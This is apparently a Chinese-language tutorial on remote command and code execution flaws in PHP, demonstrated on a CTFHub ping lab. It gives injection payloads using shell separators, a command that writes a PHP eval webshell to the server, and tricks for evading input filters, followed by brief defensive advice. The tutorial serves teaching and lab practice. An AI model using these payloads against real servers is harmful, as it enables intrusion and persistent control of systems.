RCE(remote command/code execute)遠端命令/程式碼執行漏洞,可以讓攻擊者直接向後臺伺服器遠端注入作業系統命令或者程式碼,從而控制後臺系統。

RCE漏洞

應用程式有時需要呼叫一些執行系統命令的函式,如在PHP中,使用system、exec、 shell_exec、 passthru、 popen、 proc_popen等函式可以執行系統命令。當黑客能控制這些函式中的引數時,就可以將惡意的系統命令拼接到正常命令中,從而造成命令執行攻擊,這就是命令執行漏洞

拼接命令時需要用到管道符

Windows管道符

  1. |  :直接執行後面的語句。例如ping 127.0.0.1|whoami
  2. ||  :如果前面的語句執行失敗,則執行後面的語句,前面的語句只能為假才行。例如ping 2||whoami
  3. & :兩條命令都執行,如果前面的語句為假則直接執行後面的語句,前面的語句可真可假。例如ping 2&whoami
  4. && :如果前面的語句為假則直接出錯,也不執行後面的話句,前面的語句為真則兩條命令都執行,前面的語句只能為真。例如ping 127.0.0.1&&whoami

Linux管道符

  1. ; :執行完前面的語句再執行後面的語句。例如ping 127.0.0.1;whoami
  2. | :顯示後面語句的執行結果。例如ping 127.0.0.1|whoami
  3. || :當前面的語句執行出錯時,執行後面的語句。例如ping 2||whoami
  4. &  :兩條命令都執行,如果前面的語句為假則執行執行後面的語句,前面的語句可真可假。例如ping 2&whoami
  5. &&:如果前面的語句為假則直接出錯,也不執行後面的語句,前面的語句為真則兩條命令都執行,前面的語句只能為真。例如ping 127.0.0.1&&whoami

命令執行漏洞攻擊演示

下面拿ctfhub中的命令注入靶場演示

是一個簡單的ping網站的頁面,輸入ip進行ping命令,

輸入ip沒什麼問題返回了結果,但是如果利用管道符拼接一些其他的系統命令例如whoami

成功執行了其他的系統命令

程式碼執行漏洞攻擊演示

也可以利用系統命令寫入一句話木馬

127.0.0.1&echo "<?php @eval(\$_POST['test']);?>" > 1.php

至於一句話木馬為什麼要加 \ ,看了網上的回答。echo命令會呼叫$_POST導致原始檔案中沒有,因此需要改為echo  "<?php @eval(\$_POST['test']);?>" > 1.php即可

寫入一句話木馬之後,接下來用蟻劍連線即可

命令執行繞過過濾

這裡就列出幾個常見的,可以舉一反三

  • 過濾cat

  127.0.0.1;a=c;b=at;$a$b rce.php或者127.0.0.1;a=c;b=at;${a}${b} rce_ping.php

  • ; | & 符號過濾

  用%0a來代替上面的符號。

  • 過濾空格

  如果空格也過濾掉,一般情況下%09 %0b %0c是有用的

防禦RCE攻擊

  • 儘量不要使用命令執行函式。
  • 客戶端提交的變數在進入執行命令函式前要做好過濾和檢測
  • 在使用動態函式之前,確保使用的函式是指定的函式之ー。
  • 對PHP語言來說,不能完全控制的危險函式最好不要使用